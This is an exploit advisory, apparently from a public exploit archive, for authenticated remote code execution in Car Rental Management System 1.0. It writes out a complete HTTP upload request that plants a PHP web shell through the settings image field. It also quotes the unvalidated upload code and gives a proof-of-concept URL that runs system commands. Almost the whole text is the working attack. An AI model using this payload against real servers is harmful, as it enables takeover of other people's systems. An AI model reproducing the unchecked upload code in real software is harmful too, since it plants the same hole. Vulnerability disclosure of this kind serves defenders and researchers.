Car Rental Management System 1.0 Shell Upload

`# Exploit Title: Car Rental Management System 1.0 - Remote Code Execution (Authenticated)  
# Date: 2020-11.13  
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security  
# Author ID: 8763  
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested on: Apache2 - Windows 10  
  
Vulnerable param: img  
-------------------------------------------------------------------------  
POST /car_rental/admin/ajax.php?action=save_settings HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------30709612614161811513297969444  
Content-Length: 777  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/car_rental/admin/index.php?page=site_settings  
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean  
  
-----------------------------30709612614161811513297969444  
Content-Disposition: form-data; name="name"  
  
Car Rental Management System  
-----------------------------30709612614161811513297969444  
Content-Disposition: form-data; name="email"  
  
[email protected]  
-----------------------------30709612614161811513297969444  
Content-Disposition: form-data; name="contact"  
  
+6948 8542 623  
-----------------------------30709612614161811513297969444  
Content-Disposition: form-data; name="about"  
  
content  
  
-----------------------------30709612614161811513297969444  
Content-Disposition: form-data; name="img"; filename="k.php"  
Content-Type: application/octet-stream  
  
<?php echo passthru($_GET['k']);?>  
-----------------------------30709612614161811513297969444--  
  
  
Source Code:  
  
admin\admin_class.php:  
--------------------------------------------------------------------  
if($_FILES['img']['tmp_name'] != ''){  
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];  
$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);  
$data .= ", avatar = '$fname' ";  
  
}  
  
--------------------------------------------------------------------  
  
POC:  
http://{site]/admin/assets/uploads/{FILE}.php?k=whoami  
`